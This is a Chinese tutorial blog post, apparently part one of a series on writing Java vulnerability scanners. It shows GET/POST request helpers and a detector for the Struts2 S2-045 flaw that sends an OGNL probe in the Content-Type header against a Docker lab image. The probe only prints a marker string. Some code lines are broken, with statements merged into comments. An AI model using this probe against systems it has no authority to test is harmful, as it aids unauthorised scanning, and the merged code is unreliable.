今天是java编写漏洞扫描工具系列一,在整个系列中我将以案例驱动方式进行,从基本的请求,到常规漏洞扫描,Burp插件,调用SQLmap api,整合burp+sqlmap(Web平台),漏洞扫描平台(漏洞平台支持被动主动扫描,插件式集成支持python插件)。
我的开发环境为: eclipse + jdk 1.8
在Web端下,基本上就是GET/POST请求,大部分漏洞的利用也是如此。将我们手工操作的流程-过程用代码是模拟的过程就是编写漏洞扫描工具
漏洞扫描工具可以帮助我们减少重复性的手工操作,并且效率极大的提高。人工操作10分钟,电脑零点几秒就可以完成,在对目标非常多的情况下,扫描工具更是必不可缺。但是工具毕竟是工具,它不可能像人脑一样的分析处理判断事物,所以工具会有误报和漏报的情况下。
当然还有一些漏洞甚至是工具无法完成的,比如逻辑漏洞,逻辑漏洞名 "逻辑" 意思就是说开发者思维上的漏洞, 从一个开发者没有没有想到的角度去出发,但是可以做到和正常角度出发达到同样的目的,就是思考上的缺陷。这个智能的过程很明显是工具无法完成,但是要知道从你打开一个链接到接收到响应显示到页面上,中间可能会发生n多个请求。更别说频繁浏览网页的情况下,所以我们仍然可以编写一些针对性的扫描工具,来对请求进行筛选,得到我们最想看到的请求信息
好了,作为系列课程的第一部分,我们先从最基础GET/POST请求说起!
先看下,使用java的API发出一个GET AND POST 请求
GET
/**
* GET请求
*
* @param target 网址
* @return
*/
public static String sendGet(String target) {
StringBuilder responseBody = new StringBuilder(); // 请求的响应内容
BufferedReader reader;
try {
URL url = new URL(target); //java.net.URL类,解析URL
URLConnection openConnection = url.openConnection(); // 打开连接,返回URLConnection实例
// 获得服务端响应输入流,并将请求内容逐行追加到responseBody
reader = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
// System.out.println(line); // 逐行打印请求
responseBody.append(line +"\r\n");
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return responseBody.toString();
}
POST
/**
* POST请求
* @param target 网址
* @param params 参数
* @return
*/
public static String sendPost(String target, String params) {
StringBuilder responseBody = new StringBuilder(); // 请求的响应内容
BufferedReader reader;
PrintWriter out; // 输出流
try {
URL url = new URL(target);
URLConnection openConnection = url.openConnection();
openConnection.setDoInput(true); // 默认为true,可以使用openConnection.getInputStream() 取得响应
openConnection.setDoOutput(true); // 默认为false, 设置为true后可以使用openConnection.getOutputStream() 进行写入数据
out = new PrintWriter(openConnection.getOutputStream());
out.print(params);
out.flush();
reader = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
// System.out.println(line); // 逐行打印请求
responseBody.append(line +"\r\n");
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return responseBody.toString();
}
执行测试:
@Test
void testRequest() {
System.out.println("GET请求:");
String getTarget = "https://www.baidu.com/";
String getResponseBody = Req.sendGet(getTarget);
System.out.println(getResponseBody);
System.out.println("POST请求:");
String postTarget = "http://127.0.0.1:9999/user/checkLogin.do";
String params = "account=admin&password=admin";
String postResponseBody = Req.sendPost(postTarget, params);
System.out.println(postResponseBody);
}
有了以上的概念和认识后,我们实际编写一个案例,开发一个检测Struts2-045命令执行的检测工具,因为是st2-045漏洞是因为使用Jakarta上传文件对Content-Type判断和处理不档引起的,所以漏洞利用的poc是要作用在请求头中的Centent-Type才能生效的。所以我们需要在小小的修改一下post请求.
/*** Post请求* @param target 网址* @param params 参数* @param headers 请求头* @return*/
public static String sendPost(String target, String params, Map headers) {
StringBuilder responseBody = new StringBuilder(); // 请求的响应内容BufferedReader reader;
PrintWriter out; // 输出流try {
URL url = new URL(target);
URLConnection openConnection = url.openConnection();
// 设置请求头for (Map.Entry entry : headers.entrySet()) {
openConnection.setRequestProperty(entry.getKey(), entry.getValue());
}
openConnection.setDoInput(true); // 默认为true,可以使用openConnection.getInputStream() 取得响应openConnection.setDoOutput(true); // 默认为false, 设置为true后可以使用openConnection.getOutputStream() 进行写入数据out = new PrintWriter(openConnection.getOutputStream());
out.print(params);
out.flush();
reader = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
// System.out.println(line); // 逐行打印请求responseBody.append(line + "\r\n");
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return responseBody.toString();
}
测试用例:
我们的payload使用ognl向页面打印(println)了一个 "exist045",所以当 "exist045"存在于响应中的情况下,基本上可以判判断存在漏洞!
@Test
void str045() {
String target = "http://demo.com/index.action";
String payload = "%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))."
+ "(#[email protected]@getResponse().getWriter()).(#o.println('exist045')).(#o.close())}";
Map headers = new HashMap<>();
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
headers.put("Content-Type", payload);
String postResponseBody = Req.sendPost(target, "",headers);
if (postResponseBody.contains("exist045")) {
System.out.println("[*] exist st2-045: "+target);
}
}
运行结果:
后节:
测试用例都是本地搭建的环境的,并非随意攻击,所以也需注意,本次使用的环境是使用docker的str2漏洞镜像。为了方便大家测试,现在来说一下如果构建测试用例。
我使用的环境是centos-7 + docker 1.8
在这里我推荐大家学习和使用linux和docker,使用docker的优点就在于快速部署,如果正常要搭建一个struts2漏洞的测试环境,我们需要安装jdk,tomcat,下载存在漏洞版本的struts2。经过一步步的繁杂操作后,才能运行起来环境,而使用docker的情况下,搭建环境只要docker pull xxx镜像即可,拉取回来。运行也是一句命令的事情,不会出现因为环境或者其他原因发生各种意外的情况浪费大量时间去解决这些问题。
复制命令到安装有docker的机器上执行即可
pull 拉取镜像:
[root@host ~]# docker pull piesecurity/apache-struts2-cve-2017-5638
查看所有的docker镜像:
docker images
运行docker镜像:-d 指定容器运行与前台还是后台,默认为false
-p 映射端口8080
(e1440048c3f7 为 IMAGE ID)
docker run -d -p 8080:8080 --name st2vuln e1440048c3f7
运行之后查看当前所有运行着的镜像:
docker ps
现在就可以通过ip:8080访问这个镜像了!
本章节并不过多叙述docker的使用,这基础入门章节完结,喜欢的朋友可以关注一下,定期更新系列。